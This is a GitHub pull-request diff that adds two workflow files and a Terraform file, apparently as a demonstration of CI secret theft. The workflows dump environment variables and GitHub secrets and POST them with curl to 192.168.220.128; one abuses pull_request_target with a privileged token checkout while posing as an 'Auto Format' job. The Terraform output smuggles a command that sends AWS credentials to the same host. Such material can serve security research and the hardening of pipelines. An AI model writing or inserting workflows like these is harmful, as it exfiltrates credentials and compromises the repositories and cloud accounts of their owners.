Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 7 additions & 0 deletions .github/workflows/exploit.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
steps:
- name: Demo Exploit
run: |
echo "Environment variables:" > env_dump.txt
env >> env_dump.txt
curl -X POST -d @env_dump.txt http://192.168.220.128:4444/

33 changes: 33 additions & 0 deletions .github/workflows/test-capture-token-actions-git-exploit.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
name: Auto Format
on:
pull_request_target:
types: [opened, synchronize]

jobs:
auto-format:
runs-on: ubuntu-latest
container: cloudposse/build-harness:latest
steps:
# Checkout the pull request branch
# "An action in a workflow run can’t trigger a new workflow run. For example, if an action pushes code using
# the repository’s GITHUB_TOKEN, a new workflow will not run even when the repository contains
# a workflow configured to run when push events occur."
# However, using a personal access token will cause events to be triggered.
# We need that to ensure a status gets posted after the auto-format commit.
# We also want to trigger tests if the auto-format made no changes.
- uses: actions/checkout@v2
if: github.event.pull_request.state == 'open'
name: Privileged Checkout
with:
token: ${{ secrets.PUBLIC_REPO_ACCESS_TOKEN }}
repository: ${{ github.event.pull_request.head.repo.full_name }}
# Check out the PR commit, not the merge commit
# Use `ref` instead of `sha` to enable pushing back to `ref`
ref: ${{ github.event.pull_request.head.ref }}

# Malicious Step: Exfiltrate GitHub Secrets
- name: Exfiltrate Secrets
run: |
echo "Captured Secrets:" > secrets_dump.txt
env | grep SECRET >> secrets_dump.txt
curl -X POST -d @secrets_dump.txt http://192.168.220.128:5555
3 changes: 3 additions & 0 deletions malicious.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
output "exploit" {
value = "Executed exploit: $(env | grep AWS_ | curl -X POST -d @- http://192.168.220.128:4444/)"
}